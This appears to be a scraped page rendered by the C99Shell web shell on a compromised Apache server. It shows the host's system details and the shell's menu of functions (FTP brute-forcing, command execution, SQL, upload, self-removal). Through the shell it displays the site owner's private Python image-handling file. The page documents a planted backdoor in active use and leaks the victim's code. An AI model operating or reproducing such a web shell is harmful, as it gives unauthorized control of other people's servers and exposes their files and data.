!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.4.18 (Ubuntu). PHP/7.0.33-0ubuntu0.16.04.16 

uname -a: Linux digifus 3.13.0-57-generic #95-Ubuntu SMP Fri Jun 19 09:28:15 UTC 2015 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/almazen_alfa/ahab/   drwxr-xr-x
Free 10.22 GB of 29.4 GB (34.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     utils.py (1.11 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import ahab.config


def decode_and_save_image(base64_image, product_id):
    from PIL import Image
    from io import BytesIO
    import base64
    im = Image.open(BytesIO(base64.b64decode(base64_image)))
    image_filename = '{}{}.jpg'.format(ahab.config.image_store_folder, product_id)
    im.convert('RGBA').save(image_filename, "JPEG")
    print 'saved {}'.format(image_filename)
    return '{}.jpg'.format(product_id)

def encode_image(filename):
    import base64
    try: 
        with open("{}{}".format(ahab.config.image_store_folder,filename), "rb") as image_file:
            encoded_string = base64.b64encode(image_file.read())
        return encoded_string
    except IOError as e:
        print e
        return None

def create_thumbnail(image_filename):
    from PIL import Image
    filename = '{}{}'.format(ahab.config.image_store_folder, image_filename)
    print 'Generate tb from {} size {}'.format(filename, ahab.config.thumbnail_size)
    print 'image {}'.format(filename)
    im = Image.open(filename).copy()
    im.thumbnail(ahab.config.thumbnail_size)
    im.save('{}_thumbnail'.format(filename), 'JPEG')



:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0058 ]--